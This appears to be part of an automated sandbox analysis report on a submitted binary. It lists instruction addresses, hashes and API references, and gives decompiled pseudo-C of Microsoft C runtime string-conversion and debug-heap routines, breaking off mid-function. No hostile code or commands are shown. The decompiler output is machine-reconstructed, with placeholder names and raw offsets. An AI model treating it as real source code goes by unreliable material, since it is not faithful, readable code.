0x0042777d
0x00000000
0x00000000
0x0042776c
0x0042776f
0x00427772
0x00000000
0x00000000
0x0042779a
0x0042779a
0x0042779d
0x004277a0
0x00000000
0x00000000
0x004277a3
0x00000000
0x00000000
0x004275fd
0x004283ce
0x004283d4
0x004283dd
0x004283e2
0x00000000
0x004283e2
0x004281cd
0x004281d3
0x004281dd
0x004281f2
0x00428207
0x00428209
0x0042820d
0x0042820d
0x004281f4
0x004281f4
0x004281f8
0x004281f8
0x004281df
0x004281df
0x004281e3
0x004281e3
0x004281dd
0x0042821d
0x00428229
0x0042823f
0x00428244
0x00428244
0x0042825a
0x0042825f
0x00428268
0x00428286
0x0042828b
0x0042828b
0x00428292
0x00428366
0x00428379
0x0042837e
0x00000000
0x004282a2
0x004282a2
0x004282a2
0x004282af
0x004282b8
0x004282be
0x004282be
0x004282cd
0x004282d5
0x00000000
0x00000000
0x004282db
0x004282e4
0x00428303
0x00428308
0x0042830b
0x0042831a
0x00428327
0x00428332
0x00428332
0x00000000
0x0042833e
0x0042833e
0x00428357
0x0042835c
0x00000000
0x0042835c
0x00428327
0x00428364
0x00428381
0x00428388
0x004283a6
0x004283ab
0x004283ab
0x00000000
0x00428388
0x0042797f
0x0042797f
0x00427986
0x0042798c
0x00427992
0x00427995
0x0042799b
0x004279ae
0x004279ae
0x004279b5
0x00000000
0x00427d0f
0x00427d0f
0x00427d16
0x00427d1d
0x00427d20
0x00000000
0x00000000
0x004279bc
0x004279bf
0x004279c5
0x004279ca
0x004279cf
0x004279cf
0x00000000
0x00000000
0x00427afc
0x00427aff
0x00427b04
0x00427b09
0x00427b0f
0x00427b0f
0x00000000
0x00000000
0x00427edc
0x00427edc
0x00000000
0x00000000
0x00427a66
0x00427a66
0x00427a72
0x00427a7f
0x00427a8d
0x00427a8d
0x00427a93
0x00427a96
0x00427aa2
0x00427af7
0x00000000
0x00427af7
0x00427a81
0x00427a81
0x00427a8b
0x00427aa7
0x00427aaa
0x00427ab0
0x00427ad8
0x00427adf
0x00427ae5
0x00427ae8
0x00427aeb
0x00427af1
0x00427af4
0x00427ab2
0x00427ab2
0x00427ab8
0x00427abb
0x00427abe
0x00427ac4
0x00427ac7
0x00427aca
0x00427acc
0x00427acf
0x00427acf
0x00000000
0x00427ab0
0x00000000
0x00000000
0x00427d26
0x00427d29
0x00427d2c
0x00427d2f
0x00427d35
0x00427d38
0x00427d43
0x00427d4e
0x00427d52
0x00427d69
0x00427d70
0x00427d72
0x00427d72
0x00427d79
0x00427d80
0x00427d91
0x00427da0
0x00427da7
0x00427dbd
0x00427da9
0x00427da9
0x00427dac
0x00427db2
0x00427db8
0x00427db8
0x00427da7
0x00427dc7
0x00427dca
0x00427dcd
0x00427dd0
0x00427dd0
0x00427dd3
0x00427dd3
0x00427dd6
0x00427ddc
0x00427de2
0x00427dea
0x00427deb
0x00427dee
0x00427def
0x00427df2
0x00427df3
0x00427dfa
0x00427dfb
0x00427dfe
0x00427dff
0x00427e02
0x00427e03
0x00427e09
0x00427e0a
0x00427e18
0x00427e1a
0x00427e20
0x00427e26
0x00427e2e
0x00427e36
0x00427e37
0x00427e3a
0x00427e3b
0x00427e49
0x00427e4b
0x00427e4b
0x00427e4e
0x00427e58
0x00427e5d
0x00427e63
0x00427e65
0x00427e6d
0x00427e6e
0x00427e71
0x00427e72
0x00427e81
0x00427e83
0x00427e83
0x00427e63
0x00427e86
0x00427e89
0x00427e8f
0x00427e94
0x00427e9a
0x00427ea0
0x00427ea3
0x00427ea3
0x00427ea6
0x00427eb2
0x00000000
0x00427eb2
0x00427d54
0x00427d54
0x00427d5e
0x00000000
0x00000000
0x00427d60
0x00427d60
0x00000000
0x00427d60
0x00427d45
0x00427d45
0x00000000
0x00000000
0x004279d2
0x004279d5
0x004279db
0x00427a36
0x00427a3e
0x00427a45
0x00427a4b
0x00427a51
0x004279dd
0x004279dd
0x004279e7
0x004279eb
0x004279f3
0x004279fa
0x00427a07
0x00427a0e
0x00427a1a
0x00427a27
0x00427a29
0x00427a29
0x00427a30
0x00427a58
0x00427a5e
0x00000000
0x00000000
0x00427eba
0x00427ebd
0x00427ec0
0x00427ec3
0x00000000
0x00000000
0x00427c18
0x00427c18
0x00427c24
0x00427c31
0x00427cdb
0x00427cde
0x00427ce1
0x00427cf5
0x00427cfb
0x00427d01
0x00427ce3
0x00427ce3
0x00427cf0
0x00427cf0
0x00427d03
0x00000000
0x00427d03
0x00427c37
0x00427c37
0x00427c39
0x00427c47
0x00427c3b
0x00427c3b
0x00427c3b
0x00427c51
0x00427c57
0x00427c64
0x00427c66
0x00427c6b
0x00427c6d
0x00427c72
0x00427c77
0x00427c79
0x00427c7e
0x00427c84
0x00427c86
0x00427c86
0x00427c84
0x00427c8e
0x00427cd6
0x00000000
0x00427c90
0x00427c90
0x00427c95
0x00427cb1
0x00427cb9
0x00427cc3
0x00427cc6
0x00427ccb
0x00000000
0x00427ccb
0x00000000
0x00427f1d
0x00427f1d
0x00427f27
0x00427f2d
0x00427f32
0x00427f38
0x00427f38
0x00000000
0x00000000
0x00427ed5
0x00427ed5
0x00000000
0x00000000
0x00427b12
0x00427b16
0x00427b24
0x00427b27
0x00427b18
0x00427b18
0x00427b18
0x00427b2d
0x00427b33
0x00427b39
0x00427b45
0x00427b4b
0x00427b51
0x00427bb8
0x00427bbc
0x00427bbe
0x00427bc4
0x00427bc4
0x00427bc7
0x00427bca
0x00427bd0
0x00427bd0
0x00427bd0
0x00427bdc
0x00427bdf
0x00427be7
0x00000000
0x00000000
0x00427be9
0x00427be9
0x00427bef
0x00427bf4
0x00000000
0x00000000
0x00427bf6
0x00427bfc
0x00427bff
0x00427bff
0x00427c07
0x00427c0d
0x00427c10
0x00000000
0x00427b53
0x00427b53
0x00427b57
0x00427b59
0x00427b5e
0x00427b5e
0x00427b61
0x00427b68
0x00427b6b
0x00427b71
0x00427b71
0x00427b71
0x00427b7d
0x00427b80
0x00427b88
0x00000000
0x00000000
0x00427b8a
0x00427b8a
0x00427b90
0x00427b95
0x00000000
0x00000000
0x00427b97
0x00427b9d
0x00427ba0
0x00427ba0
0x00427ba8
0x00427bae
0x00427bb1
0x00427bb3
0x00427c13
0x00000000
0x00427c13
0x00000000
0x00000000
0x00000000
0x00427ee8
0x00427ee8
0x00427ef2
0x00427ef2
0x00427efc
0x00427f02
0x00427f04
0x00427f0e
0x00427f11
0x00427f14
0x00427f14
0x00000000
0x00000000
0x00000000
0x00000000
0x004279b5
0x004281c3
0x004281c3
0x004281c3
0x004281c3
0x004281c3
0x004281c3
0x004281c3
0x00428020
0x00428017
0x00427f3b
0x00427f3b
0x00427f3b

APIs

_get_int64_arg.LIBCMTD ref: 00427F49
_get_int64_arg.LIBCMTD ref: 00427F71
__aullrem.LIBCMT ref: 00428116
__aulldiv.LIBCMT ref: 00428138

Strings

9, xrefs: 00428149

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: d46a0162608aa2183bfdfe1bb5190fbee2b02b3e1f170d606e4ef3e5aa5c8c8d
Instruction ID: 9ea736842b1b67f138dfb4191df900afcf53e729bb2d79223efd60284abed935
Opcode Fuzzy Hash: d46a0162608aa2183bfdfe1bb5190fbee2b02b3e1f170d606e4ef3e5aa5c8c8d
Instruction Fuzzy Hash: 794126B1E05629CFDB64DF48ED89BAEB7B5BB84300F5081DAD009A7241CB389E85CF05

Uniqueness

Uniqueness Score: -1.00%

Function 0041CB6E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CBFD
__free_base.LIBCMTD ref: 0041CC09

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041CB7A
_pLastBlock == pHead, xrefs: 0041CB6E

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __free_base_memset
String ID: _pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2669475236-449961717
Opcode ID: 2137824d3c104bcc3b4899c7553d4a4e9189a8296cd9fdb52f01a0cfbbce5e43
Instruction ID: 97b88f2185873874db4db686b83db63e16d979004dfb427c642e7af1c8f85c51
Opcode Fuzzy Hash: 2137824d3c104bcc3b4899c7553d4a4e9189a8296cd9fdb52f01a0cfbbce5e43
Instruction Fuzzy Hash: 0501ACB8B44104EBC700CB54DEC1B59B371BB49308F348199E5056B381D675EF41DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00437805, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E00437805(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _t85;
				intOrPtr _t86;
				void* _t91;
				signed int _t95;
				void* _t103;
				void* _t110;
				void* _t111;
				void* _t112;
				signed int _t121;
				signed int _t123;
				signed int _t127;
				signed int _t128;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t140;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t146;
				void* _t147;

				_t143 = __esi;
				_t142 = __edi;
				_t112 = __ecx;
				_t111 = __ebx;
				if( *(_t144 + 0x10) > 0 ||  *(_t144 + 0xc) == 0 &&  *(_t144 + 0x10) == 0) {
					 *((intOrPtr*)(_t144 - 0x1c)) = 1;
				} else {
					 *((intOrPtr*)(_t144 - 0x1c)) = 0;
				}
				 *((intOrPtr*)(_t144 - 0x10)) =  *((intOrPtr*)(_t144 - 0x1c));
				if( *((intOrPtr*)(_t144 - 0x10)) == 0) {
					_push(L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)");
					_push(0);
					_push(0x133);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t110 = L0041E520();
					_t146 = _t146 + 0x14;
					if(_t110 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t144 - 0x10)) != 0) {
					__eflags =  *(_t144 + 0xc);
					if( *(_t144 + 0xc) != 0) {
						_t128 =  *(_t144 + 0xc);
						 *_t128 = 0;
						__eflags =  *(_t144 + 0x10) - 0xffffffff;
						if( *(_t144 + 0x10) != 0xffffffff) {
							__eflags =  *(_t144 + 0x10) - 0x7fffffff;
							if( *(_t144 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t144 + 0x10) - 1;
								if( *(_t144 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t128 =  *(_t144 + 0x10) - 1;
										__eflags = _t128;
										 *(_t144 - 0x20) = _t128;
									} else {
										_t127 =  *0x440208; // 0xffffffff
										 *(_t144 - 0x20) = _t127;
									}
									__eflags =  *(_t144 + 0xc) + 1;
									E0041B6B0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x20));
									_t146 = _t146 + 0xc;
								}
							}
						}
					}
					__eflags =  *(_t144 + 8);
					if( *(_t144 + 8) != 0) {
						_t128 =  *(_t144 + 8);
						 *_t128 = 0;
					}
					__eflags =  *(_t144 + 0x18) -  *(_t144 + 0x10);
					if( *(_t144 + 0x18) <=  *(_t144 + 0x10)) {
						_t128 =  *(_t144 + 0x18);
						 *(_t144 - 0x24) = _t128;
					} else {
						 *(_t144 - 0x24) =  *(_t144 + 0x10);
					}
					 *(_t144 - 8) =  *(_t144 - 0x24);
					__eflags = 0x7fffffff -  *(_t144 - 8);
					asm("sbb edx, edx");
					_t129 = _t128 + 1;
					__eflags = _t129;
					 *(_t144 - 0x14) = _t129;
					if(_t129 == 0) {
						_push(L"bufferSize <= INT_MAX");
						_push(0);
						_push(0x13f);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t103 = L0041E520();
						_t146 = _t146 + 0x14;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t144 - 0x14);
					if( *(_t144 - 0x14) != 0) {
						_t115 =  *(_t144 + 0xc);
						_t85 = L00437300(_t111,  *(_t144 - 8), _t142, _t143,  *(_t144 + 0xc),  *((intOrPtr*)(_t144 + 0x14)),  *(_t144 - 8),  *((intOrPtr*)(_t144 + 0x1c)));
						_t147 = _t146 + 0x10;
						 *(_t144 - 0xc) = _t85;
						__eflags =  *(_t144 - 0xc) - 0xffffffff;
						if( *(_t144 - 0xc) != 0xffffffff) {
							_t132 =  *(_t144 - 0xc) + 1;
							 *(_t144 - 0xc) = _t132;
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) == 0) {
								L56:
								__eflags =  *(_t144 + 8);
								if( *(_t144 + 8) != 0) {
									 *( *(_t144 + 8)) =  *(_t144 - 0xc);
								}
								_t86 =  *((intOrPtr*)(_t144 - 4));
								goto L59;
							}
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							if( *(_t144 - 0xc) <=  *(_t144 + 0x10)) {
								L55:
								_t134 =  *(_t144 + 0xc) +  *(_t144 - 0xc);
								__eflags = _t134;
								 *((char*)(_t134 - 1)) = 0;
								goto L56;
							}
							__eflags =  *(_t144 + 0x18) - 0xffffffff;
							if( *(_t144 + 0x18) == 0xffffffff) {
								L54:
								 *(_t144 - 0xc) =  *(_t144 + 0x10);
								 *((intOrPtr*)(_t144 - 4)) = 0x50;
								goto L55;
							}
							 *( *(_t144 + 0xc)) = 0;
							__eflags =  *(_t144 + 0x10) - 0xffffffff;
							if( *(_t144 + 0x10) != 0xffffffff) {
								__eflags =  *(_t144 + 0x10) - 0x7fffffff;
								if( *(_t144 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t144 + 0x10) - 1;
									if( *(_t144 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t121 =  *(_t144 + 0x10) - 1;
											__eflags = _t121;
											 *(_t144 - 0x2c) = _t121;
										} else {
											_t95 =  *0x440208; // 0xffffffff
											 *(_t144 - 0x2c) = _t95;
										}
										_t132 =  *(_t144 - 0x2c);
										__eflags =  *(_t144 + 0xc) + 1;
										E0041B6B0(_t142,  *(_t144 + 0xc) + 1, 0xfe, _t132);
										_t147 = _t147 + 0xc;
									}
								}
							}
							_t119 =  *(_t144 + 0x10);
							__eflags =  *(_t144 - 0xc) -  *(_t144 + 0x10);
							asm("sbb edx, edx");
							 *(_t144 - 0x18) =  ~_t132;
							if( *(_t144 - 0xc) ==  *(_t144 + 0x10)) {
								_push(L"sizeInBytes > retsize");
								_push(0);
								_push(0x157);
								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
								_push(2);
								_t91 = L0041E520();
								_t147 = _t147 + 0x14;
								__eflags = _t91 - 1;
								if(_t91 == 1) {
									asm("int3");
								}
							}
							__eflags =  *(_t144 - 0x18);
							if( *(_t144 - 0x18) != 0) {
								goto L54;
							} else {
								 *((intOrPtr*)(L00423010(_t119))) = 0x22;
								E00422DA0(_t111, _t119, _t142, _t143, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
								_t86 = 0x22;
								goto L59;
							}
						} else {
							__eflags =  *(_t144 + 0xc);
							if( *(_t144 + 0xc) != 0) {
								 *( *(_t144 + 0xc)) = 0;
								__eflags =  *(_t144 + 0x10) - 0xffffffff;
								if( *(_t144 + 0x10) != 0xffffffff) {
									__eflags =  *(_t144 + 0x10) - 0x7fffffff;
									if( *(_t144 + 0x10) != 0x7fffffff) {
										__eflags =  *(_t144 + 0x10) - 1;
										if( *(_t144 + 0x10) > 1) {
											__eflags =  *0x440208 -  *(_t144 + 0x10) - 1; // 0xffffffff
											if(__eflags >= 0) {
												_t140 =  *(_t144 + 0x10) - 1;
												__eflags = _t140;
												 *(_t144 - 0x28) = _t140;
											} else {
												_t123 =  *0x440208; // 0xffffffff
												 *(_t144 - 0x28) = _t123;
											}
											_t115 =  *(_t144 + 0xc) + 1;
											__eflags =  *(_t144 + 0xc) + 1;
											E0041B6B0(_t142,  *(_t144 + 0xc) + 1, 0xfe,  *(_t144 - 0x28));
										}
									}
								}
							}
							_t86 =  *((intOrPtr*)(L00423010(_t115)));
							goto L59;
						}
					} else {
						 *((intOrPtr*)(L00423010(0x7fffffff))) = 0x16;
						E00422DA0(_t111, 0x7fffffff, _t142, _t143, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
						_t86 = 0x16;
						goto L59;
					}
				} else {
					 *((intOrPtr*)(L00423010(_t112))) = 0x16;
					E00422DA0(_t111, _t112, _t142, _t143, L"(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x133, 0);
					_t86 = 0x16;
					L59:
					return _t86;
				}
			}

0x00437805
0x00437805
0x00437805
0x00437805
0x00437809
0x00437820
0x00437817
0x00437817
0x00437817
0x0043782a
0x00437831
0x00437833
0x00437838
0x0043783a
0x0043783f
0x00437844
0x00437846
0x0043784b
0x00437851
0x00437853
0x00437853
0x00437851
0x00437858
0x0043788d
0x00437891
0x00437893
0x00437896
0x00437899
0x0043789d
0x0043789f
0x004378a6
0x004378a8
0x004378ac
0x004378b4
0x004378ba
0x004378ca
0x004378ca
0x004378cd
0x004378bc
0x004378bc
0x004378c2
0x004378c2
0x004378dc
0x004378e0
0x004378e5
0x004378e5
0x004378ac
0x004378a6
0x0043789d
0x004378e8
0x004378ec
0x004378ee
0x004378f1
0x004378f1
0x004378fa
0x004378fd
0x00437907
0x0043790a
0x004378ff
0x00437902
0x00437902
0x00437910
0x00437918
0x0043791b
0x0043791d
0x0043791d
0x00437920
0x00437923
0x00437925
0x0043792a
0x0043792c
0x00437931
0x00437936
0x00437938
0x0043793d
0x00437940
0x00437943
0x00437945
0x00437945
0x00437943
0x00437946
0x0043794a
0x0043798b
0x0043798f
0x00437994
0x00437997
0x0043799a
0x0043799e
0x00437a0a
0x00437a0d
0x00437a10
0x00437a14
0x00437b01
0x00437b01
0x00437b05
0x00437b0d
0x00437b0d
0x00437b0f
0x00000000
0x00437b0f
0x00437a1d
0x00437a20
0x00437af7
0x00437afa
0x00437afa
0x00437afd
0x00000000
0x00437afd
0x00437a26
0x00437a2a
0x00437aea
0x00437aed
0x00437af0
0x00000000
0x00437af0
0x00437a33
0x00437a36
0x00437a3a
0x00437a3c
0x00437a43
0x00437a45
0x00437a49
0x00437a51
0x00437a57
0x00437a66
0x00437a66
0x00437a69
0x00437a59
0x00437a59
0x00437a5e
0x00437a5e
0x00437a6c
0x00437a78
0x00437a7c
0x00437a81
0x00437a81
0x00437a49
0x00437a43
0x00437a84
0x00437a87
0x00437a8a
0x00437a8e
0x00437a91
0x00437a93
0x00437a98
0x00437a9a
0x00437a9f
0x00437aa4
0x00437aa6
0x00437aab
0x00437aae
0x00437ab1
0x00437ab3
0x00437ab3
0x00437ab1
0x00437ab4
0x00437ab8
0x00000000
0x00437aba
0x00437abf
0x00437adb
0x00437ae3
0x00000000
0x00437ae3
0x004379a0
0x004379a0
0x004379a4
0x004379a9
0x004379ac
0x004379b0
0x004379b2
0x004379b9
0x004379bb
0x004379bf
0x004379c7
0x004379cd
0x004379dd
0x004379dd
0x004379e0
0x004379cf
0x004379cf
0x004379d5
0x004379d5
0x004379ef
0x004379ef
0x004379f3
0x004379f8
0x004379bf
0x004379b9
0x004379b0
0x00437a00
0x00000000
0x00437a00
0x0043794c
0x00437951
0x0043796d
0x00437975
0x00000000
0x00437975
0x0043785a
0x0043785f
0x0043787b
0x00437883
0x00437b12
0x00437b15
0x00437b15

APIs

__invalid_parameter.LIBCMTD ref: 0043787B

Strings

_wcstombs_s_l, xrefs: 00437871
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043783F, 0043786C
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00437833, 00437876

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: d12ac0d32b90ae41cf7ff000128b0b04f9ea77d53963f44685210d7d482dc915
Instruction ID: e1428bbae2b7918053c8e5a9bfd3ccf865b9aa8e04f32936b22be5e755a37319
Opcode Fuzzy Hash: d12ac0d32b90ae41cf7ff000128b0b04f9ea77d53963f44685210d7d482dc915
Instruction Fuzzy Hash: 590186B0E44309AAEB34AE41DC0ABAF7260AB1471DF10646FE9A4352C1D7FD4644CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00437326, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00437326(intOrPtr __ebx, void* __edx, intOrPtr __edi, intOrPtr __esi) {
				intOrPtr* _t155;
				signed int* _t157;
				signed int _t162;
				intOrPtr* _t179;
				intOrPtr _t201;
				void* _t220;
				intOrPtr _t221;
				void* _t222;
				intOrPtr _t240;
				intOrPtr _t247;
				intOrPtr _t290;
				intOrPtr _t291;
				signed int _t292;
				void* _t294;

				_t291 = __esi;
				_t290 = __edi;
				_t221 = __ebx;
				if( *(_t292 + 0x10) != 0) {
					 *(_t292 - 0x30) = 0 |  *(_t292 + 0xc) != 0x00000000;
					if( *(_t292 - 0x30) == 0) {
						_push(L"pwcs != NULL");
						_push(0);
						_push(0x66);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t220 = L0041E520();
						_t294 = _t294 + 0x14;
						if(_t220 == 1) {
							asm("int3");
						}
					}
					if( *(_t292 - 0x30) != 0) {
						_t274 =  *(_t292 + 0x14);
						L0041AEE0(_t292 - 0x20,  *(_t292 + 0x14));
						if( *(_t292 + 8) == 0) {
							_t155 = E0041AFF0(_t292 - 0x20);
							_t225 =  *_t155;
							if( *((intOrPtr*)( *_t155 + 0x14)) != 0) {
								_t227 = _t292 - 0x20;
								_t157 = E0041AFF0(_t292 - 0x20);
								_t274 =  *_t157;
								 *(_t292 - 4) = WideCharToMultiByte( *( *_t157 + 4), 0,  *(_t292 + 0xc), 0xffffffff, 0, 0, 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00423010(_t227))) = 0x2a;
									 *(_t292 - 0x68) = 0xffffffff;
									E0041AFC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x68);
								} else {
									 *(_t292 - 0x6c) =  *(_t292 - 4) - 1;
									E0041AFC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x6c);
								}
							} else {
								_t274 =  *(_t292 + 0xc);
								 *(_t292 - 0x64) = E0042DDD0(_t225,  *(_t292 + 0xc));
								E0041AFC0(_t292 - 0x20);
								_t162 =  *(_t292 - 0x64);
							}
						} else {
							if( *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t292 - 0x20))) + 0x14)) != 0) {
								if( *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t292 - 0x20))) + 0xac)) != 1) {
									_t240 =  *((intOrPtr*)(E0041AFF0(_t292 - 0x20)));
									_t274 =  *(_t240 + 4);
									 *(_t292 - 4) = WideCharToMultiByte( *(_t240 + 4), 0,  *(_t292 + 0xc), 0xffffffff,  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
									if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
										if( *(_t292 - 0x10) != 0 || GetLastError() != 0x7a) {
											 *((intOrPtr*)(L00423010(_t240))) = 0x2a;
											 *(_t292 - 0x4c) = 0xffffffff;
											E0041AFC0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x4c);
										} else {
											while( *(_t292 - 4) <  *(_t292 + 0x10)) {
												_t179 = E0041AFF0(_t292 - 0x20);
												_t247 =  *((intOrPtr*)(E0041AFF0(_t292 - 0x20)));
												_t274 =  *(_t247 + 4);
												 *((intOrPtr*)(_t292 - 0xc)) = WideCharToMultiByte( *(_t247 + 4), 0,  *(_t292 + 0xc), 1, _t292 - 0x2c,  *( *_t179 + 0xac), 0, _t292 - 0x10);
												if( *((intOrPtr*)(_t292 - 0xc)) == 0 ||  *(_t292 - 0x10) != 0) {
													 *((intOrPtr*)(L00423010(_t247))) = 0x2a;
													 *(_t292 - 0x50) = 0xffffffff;
													E0041AFC0(_t292 - 0x20);
													_t162 =  *(_t292 - 0x50);
												} else {
													if( *((intOrPtr*)(_t292 - 0xc)) < 0 ||  *((intOrPtr*)(_t292 - 0xc)) > 5) {
														 *((intOrPtr*)(L00423010(_t247))) = 0x2a;
														 *(_t292 - 0x54) = 0xffffffff;
														E0041AFC0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x54);
													} else {
														if( *(_t292 - 4) +  *((intOrPtr*)(_t292 - 0xc)) <=  *(_t292 + 0x10)) {
															 *(_t292 - 8) = 0;
															while( *(_t292 - 8) <  *((intOrPtr*)(_t292 - 0xc))) {
																( *(_t292 + 8))[ *(_t292 - 4)] =  *((intOrPtr*)(_t292 +  *(_t292 - 8) - 0x2c));
																_t274 =  &(( *(_t292 + 8))[ *(_t292 - 4)]);
																if(( *(_t292 + 8))[ *(_t292 - 4)] != 0) {
																	 *(_t292 - 8) =  *(_t292 - 8) + 1;
																	 *(_t292 - 4) =  *(_t292 - 4) + 1;
																	continue;
																}
																 *(_t292 - 0x5c) =  *(_t292 - 4);
																E0041AFC0(_t292 - 0x20);
																_t162 =  *(_t292 - 0x5c);
																goto L55;
															}
															_t274 =  &(( *(_t292 + 0xc))[1]);
															 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
															continue;
														}
														 *(_t292 - 0x58) =  *(_t292 - 4);
														E0041AFC0(_t292 - 0x20);
														_t162 =  *(_t292 - 0x58);
													}
												}
												goto L55;
											}
											 *(_t292 - 0x60) =  *(_t292 - 4);
											E0041AFC0(_t292 - 0x20);
											_t162 =  *(_t292 - 0x60);
										}
									} else {
										 *(_t292 - 0x48) =  *(_t292 - 4) - 1;
										E0041AFC0(_t292 - 0x20);
										_t162 =  *(_t292 - 0x48);
									}
									goto L55;
								}
								if( *(_t292 + 0x10) > 0) {
									 *(_t292 + 0x10) = E00437790( *(_t292 + 0xc),  *(_t292 + 0x10));
								}
								_t274 =  *(_t292 + 0xc);
								_t201 =  *((intOrPtr*)(E0041AFF0(_t292 - 0x20)));
								_t260 =  *(_t201 + 4);
								 *(_t292 - 4) = WideCharToMultiByte( *(_t201 + 4), 0,  *(_t292 + 0xc),  *(_t292 + 0x10),  *(_t292 + 8),  *(_t292 + 0x10), 0, _t292 - 0x10);
								if( *(_t292 - 4) == 0 ||  *(_t292 - 0x10) != 0) {
									 *((intOrPtr*)(L00423010(_t260))) = 0x2a;
									 *(_t292 - 0x44) = 0xffffffff;
									E0041AFC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x44);
								} else {
									if( *((char*)( &(( *(_t292 + 8))[ *(_t292 - 4)]) - 1)) == 0) {
										 *(_t292 - 4) =  *(_t292 - 4) - 1;
									}
									_t274 =  *(_t292 - 4);
									 *(_t292 - 0x40) =  *(_t292 - 4);
									E0041AFC0(_t292 - 0x20);
									_t162 =  *(_t292 - 0x40);
								}
								goto L55;
							} else {
								goto L10;
							}
							while(1) {
								L10:
								_t265 =  *(_t292 - 4);
								if( *(_t292 - 4) >=  *(_t292 + 0x10)) {
									break;
								}
								_t274 =  *(_t292 + 0xc);
								if(( *( *(_t292 + 0xc)) & 0x0000ffff) <= 0xff) {
									( *(_t292 + 8))[ *(_t292 - 4)] =  *( *(_t292 + 0xc));
									_t274 =  *( *(_t292 + 0xc)) & 0x0000ffff;
									 *(_t292 + 0xc) =  &(( *(_t292 + 0xc))[1]);
